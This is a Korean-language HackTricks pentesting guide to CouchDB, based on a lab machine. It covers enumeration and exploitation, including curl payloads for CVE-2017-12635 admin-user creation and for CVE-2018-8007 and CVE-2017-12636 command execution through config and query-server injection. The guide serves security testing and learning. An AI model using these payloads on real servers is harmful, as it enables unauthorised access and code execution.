19 KiB
5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
기본 정보
CouchDB는 문서 지향 데이터베이스로, 각 문서 내에서 키-값 맵 구조를 사용하여 데이터를 조직하는 다재다능하고 강력한 데이터베이스입니다. 문서 내의 필드는 키/값 쌍, 리스트 또는 맵으로 표현될 수 있어 데이터 저장 및 검색의 유연성을 제공합니다.
CouchDB에 저장된 모든 문서는 문서 수준에서 고유 식별자(_id
)가 할당됩니다. 또한, 데이터베이스에 저장된 모든 수정 사항은 수정 번호(_rev
)가 할당됩니다. 이 수정 번호는 변경 사항의 효율적인 추적 및 관리를 가능하게 하여 데이터베이스 내에서 데이터의 용이한 검색 및 동기화를 촉진합니다.
기본 포트: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
자동 열거
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
수동 열거
배너
curl http://IP:5984/
이것은 설치된 CouchDB 인스턴스에 GET 요청을 보냅니다. 응답은 다음 중 하나와 비슷해야 합니다:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
couchdb의 루트에 접근할 때 401 Unauthorized
와 같은 응답을 받으면: {"error":"unauthorized","reason":"Authentication required."}
배너나 다른 엔드포인트에 접근할 수 없습니다.
{% endhint %}
정보 열거
다음은 GET 요청으로 접근하여 흥미로운 정보를 추출할 수 있는 엔드포인트입니다. couchdb 문서에서 더 많은 엔드포인트와 자세한 설명을 찾을 수 있습니다.
/_active_tasks
실행 중인 작업의 목록으로, 작업 유형, 이름, 상태 및 프로세스 ID를 포함합니다./_all_dbs
CouchDB 인스턴스의 모든 데이터베이스 목록을 반환합니다./_cluster_setup
클러스터 설정 마법사에 따라 노드 또는 클러스터의 상태를 반환합니다./_db_updates
CouchDB 인스턴스의 모든 데이터베이스 이벤트 목록을 반환합니다. 이 엔드포인트를 사용하려면_global_changes
데이터베이스가 존재해야 합니다./_membership
클러스터의 일부인 노드를cluster_nodes
로 표시합니다.all_nodes
필드는 이 노드가 알고 있는 모든 노드를 표시하며, 클러스터의 일부인 노드도 포함됩니다./_scheduler/jobs
복제 작업 목록입니다. 각 작업 설명에는 소스 및 대상 정보, 복제 ID, 최근 이벤트의 이력 및 기타 몇 가지 정보가 포함됩니다./_scheduler/docs
복제 문서 상태 목록입니다.completed
및failed
상태의 모든 문서에 대한 정보를 포함합니다. 각 문서에 대해 문서 ID, 데이터베이스, 복제 ID, 소스 및 대상, 기타 정보를 반환합니다./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
/_node/{node-name}
엔드포인트는 요청을 처리하는 서버의 Erlang 노드 이름을 확인하는 데 사용할 수 있습니다. 이 정보에 접근하기 위해/_node/_local
에 접근할 때 가장 유용합니다./_node/{node-name}/_stats
_stats
리소스는 실행 중인 서버의 통계를 포함하는 JSON 객체를 반환합니다. 리터럴 문자열_local
은 로컬 노드 이름의 별칭으로 사용되므로, 모든 통계 URL에서{node-name}
을_local
로 대체하여 로컬 노드의 통계와 상호작용할 수 있습니다./_node/{node-name}/_system
_system 리소스는 실행 중인 서버의 다양한 시스템 수준 통계를 포함하는 JSON 객체를 반환합니다. 현재 노드 정보를 얻기 위해{node-name}
으로_local
을 사용할 수 있습니다./_node/{node-name}/_restart
/_up
서버가 작동 중이며 요청에 응답할 준비가 되었음을 확인합니다.maintenance_mode
가true
또는nolb
인 경우, 엔드포인트는 404 응답을 반환합니다./_uuids
CouchDB 인스턴스에서 하나 이상의 범용 고유 식별자(UUID)를 요청합니다./_reshard
완료된 작업, 실패한 작업, 실행 중인 작업, 중지된 작업 및 총 작업 수와 클러스터의 재분할 상태를 반환합니다.
더 흥미로운 정보는 여기에서 추출할 수 있습니다: https://lzone.de/cheat-sheet/CouchDB
데이터베이스 목록
curl -X GET http://IP:5984/_all_dbs
만약 그 요청이 401 권한 없음으로 응답한다면, 데이터베이스에 접근하기 위해 유효한 자격 증명이 필요합니다:
curl -X GET http://user:password@IP:5984/_all_dbs
유효한 자격 증명을 찾기 위해 서비스를 브루트포스 시도할 수 있습니다.
다음은 충분한 권한이 있어 데이터베이스를 나열할 수 있을 때의 couchdb 응답 예시입니다(단순히 데이터베이스 목록입니다):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
데이터베이스 이름에 접근하여 일부 데이터베이스 정보를 얻을 수 있습니다(파일 수 및 크기 등):
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
문서 목록
데이터베이스 내의 각 항목 나열
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
문서 읽기
데이터베이스 내 문서의 내용을 읽습니다:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Erlang과 JavaScript JSON 파서의 차이 덕분에 다음 요청으로 hacktricks:hacktricks
자격 증명을 가진 관리자 사용자를 생성할 수 있습니다:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
이 취약점에 대한 더 많은 정보는 여기에서 확인하세요.
CouchDB RCE
Erlang 쿠키 보안 개요
예시 여기에서.
CouchDB 문서에서는 클러스터 설정과 관련된 섹션에서 (링크), 클러스터 모드에서 CouchDB가 사용하는 포트에 대해 논의합니다. 독립 실행 모드와 마찬가지로 포트 5984
가 사용된다고 언급되어 있습니다. 또한, 포트 5986
은 노드 로컬 API에 사용되며, 중요하게도 Erlang은 Erlang 포트 매퍼 데몬(EPMD)을 위해 TCP 포트 4369
가 필요하여 Erlang 클러스터 내에서 노드 간 통신을 용이하게 합니다. 이 설정은 각 노드가 다른 모든 노드와 연결된 네트워크를 형성합니다.
포트 4369
에 대한 중요한 보안 권고가 강조됩니다. 이 포트가 인터넷이나 신뢰할 수 없는 네트워크에서 접근 가능하게 되면, 시스템의 보안은 "쿠키"라는 고유 식별자에 크게 의존하게 됩니다. 이 쿠키는 보호 장치 역할을 합니다. 예를 들어, 주어진 프로세스 목록에서 "monster"라는 이름의 쿠키가 관찰될 수 있으며, 이는 시스템의 보안 프레임워크에서의 운영 역할을 나타냅니다.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
원격 코드 실행(RCE) 맥락에서 이 "쿠키"가 어떻게 악용될 수 있는지 이해하고자 하는 분들을 위해, 추가 읽기를 위한 전용 섹션이 마련되어 있습니다. 이는 시스템에 대한 제어를 달성하기 위해 비인가 방식으로 Erlang 쿠키를 활용하는 방법론을 자세히 설명합니다. 여기에서 RCE를 위한 Erlang 쿠키 악용에 대한 자세한 가이드를 탐색할 수 있습니다.
local.ini 수정으로 CVE-2018-8007 악용하기
예제 여기서.
최근 공개된 취약점인 CVE-2018-8007은 Apache CouchDB에 영향을 미치며, 악용하려면 local.ini
파일에 대한 쓰기 권한이 필요함을 밝혔습니다. 보안 제한으로 인해 초기 대상 시스템에 직접 적용할 수는 없지만, 탐색 목적으로 local.ini
파일에 대한 쓰기 접근을 부여하기 위해 수정이 이루어졌습니다. 아래에는 이 과정을 보여주는 자세한 단계와 코드 예제가 제공됩니다.
먼저, local.ini
파일이 쓰기 가능하도록 환경을 준비하며, 권한을 나열하여 확인합니다:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
취약점을 악용하기 위해 local.ini
의 cors/origins
구성에 대해 curl 명령이 실행됩니다. 이는 [os_daemons]
섹션 아래에 새로운 출처와 추가 명령을 주입하여 임의의 코드를 실행하는 것을 목표로 합니다:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
후속 검증을 통해 local.ini
에 주입된 구성을 확인하고, 변경 사항을 강조하기 위해 백업과 대조합니다:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Initially, the expected file (/tmp/0xdf
) does not exist, indicating that the injected command has not been executed yet. Further investigation reveals that processes related to CouchDB are running, including one that could potentially execute the injected command:
초기에는 예상되는 파일(/tmp/0xdf
)이 존재하지 않으며, 이는 주입된 명령이 아직 실행되지 않았음을 나타냅니다. 추가 조사를 통해 CouchDB와 관련된 프로세스가 실행되고 있으며, 그 중 하나는 주입된 명령을 실행할 수 있는 가능성이 있습니다:
root@canape:/home/homer/bin# ps aux | grep couch
식별된 CouchDB 프로세스를 종료하고 시스템이 자동으로 재시작하도록 허용함으로써, 주입된 명령의 실행이 촉발되며, 이는 이전에 없던 파일의 존재로 확인됩니다:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
이 탐색은 local.ini
파일에 대한 쓰기 가능한 접근 권한이 필요하다는 점을 특히 강조하며, 특정 조건에서 CVE-2018-8007의 악용 가능성을 확인합니다. 제공된 코드 예제와 절차적 단계는 통제된 환경에서 악용을 복제하기 위한 명확한 가이드를 제공합니다.
CVE-2018-8007에 대한 자세한 내용은 mdsec의 권고를 참조하십시오: CVE-2018-8007.
local.ini에 대한 쓰기 권한으로 CVE-2017-12636 탐색하기
예제 여기에서.
CouchDB 프로세스를 통해 코드 실행을 가능하게 하는 CVE-2017-12636으로 알려진 취약점이 탐색되었습니다. 그러나 특정 구성으로 인해 악용이 방지될 수 있습니다. 온라인에서 수많은 개념 증명(POC) 참조가 있지만, CouchDB 버전 2에서 취약점을 악용하기 위해서는 조정이 필요하며, 일반적으로 타겟팅되는 버전 1.x와 다릅니다. 초기 단계는 CouchDB 버전을 확인하고 예상 쿼리 서버 경로가 없음을 확인하는 것입니다:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
CouchDB 버전 2.0을 수용하기 위해 새로운 경로가 사용됩니다:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
새 쿼리 서버를 추가하고 호출하려는 시도는 다음 출력에서 나타난 것처럼 권한 관련 오류로 이어졌습니다:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
추가 조사를 통해 local.ini
파일에 대한 권한 문제가 발견되었으며, 해당 파일은 쓰기 불가능했습니다. root 또는 homer 접근 권한으로 파일 권한을 수정함으로써 진행할 수 있게 되었습니다:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
후속 쿼리 서버 추가 시도가 성공했으며, 이는 응답에 오류 메시지가 없음을 통해 입증되었습니다. local.ini
파일의 성공적인 수정은 파일 비교를 통해 확인되었습니다:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
데이터베이스와 문서를 생성한 후, 새로 추가된 쿼리 서버에 매핑된 사용자 정의 뷰를 통해 코드를 실행하려는 시도가 이어졌습니다:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
A **요약**은 특정 조건에서 CVE-2017-12636을 악용하는 데 대한 추가 통찰력을 제공합니다. 이 취약점을 악용하기 위한 유용한 리소스는 다음과 같습니다:
Shodan
port:5984 couchdb
References
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.